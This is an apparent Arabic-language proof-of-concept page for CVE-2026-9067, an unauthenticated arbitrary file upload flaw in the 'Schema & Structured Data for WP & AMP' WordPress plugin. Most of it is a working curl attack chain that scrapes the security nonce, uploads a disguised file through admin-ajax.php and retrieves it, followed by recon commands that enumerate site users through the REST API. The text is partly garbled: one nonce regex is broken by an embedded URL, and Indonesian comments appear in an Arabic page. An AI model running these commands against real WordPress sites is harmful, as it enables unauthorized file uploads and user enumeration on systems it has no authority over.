
Schema & Structured Data for WP & AMP < 1.60 - رفع وسائط تعسفي غير مصادق عليه [إثبات المفهوم واستغلال]
| CVE ID | الإضافة | الشدة | النوع | الحالة |
|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | عالية (8.1) | رفع ملف غير مقيد | موثق |
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-9067 |
| الإضافة | Schema & Structured Data for WP & AMP |
| الإصدارات المتأثرة | < 1.60 |
| CWE | CWE-434 (رفع ملف غير مقيد من نوع خطير) |
| CVSS v3.1 | 8.1 (عالية) |
| المكتشف | 0xBassia |
الإضافة Schema & Structured Data for WP & AMP قبل الإصدار 1.60 لم تتحقق من صلاحيات المستخدم في معالجات AJAX لرفع الملفات ولم تتحقق من نوع الملف المرفوع. وهذا يسمح لمهاجم غير مصادق برفع ملفات عشوائية.
ملاحظة مهمة: نواة WordPress تحظر الملفات القابلة للتنفيذ (.php, .phtml, .html, .svg)، وبالتالي لا يوجد مسار RCE مباشر من هذه الثغرة.
CVE-2026-9067/
├── CVE-2026-9067.md # Dokumentasi lengkap (file ini)
├── CVE-2026-9067.py # Python exploit dengan multi-threading
├── CVE-2026-9067.sh # Bash/Shell PoC script
└── CVE-2026-9067_exploit.sh # Alternative Bash PoC
# Step 1: Get nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/main/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# Step 2: Upload arbitrary file
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# Step 3: Access uploaded file
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
| الحقل | القيمة |
|---|---|
| الهدف URL | https://yorbit7.ddev.site |
| إصدار PHP | 8.4 |
| قاعدة البيانات | MariaDB 11.8 |
| إصدار WordPress | 7.0 |
| طريقة الاختبار | curl (اختبار الصندوق الأسود) |
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
DISALLOW_FILE_MODIFICATIONS.htaccess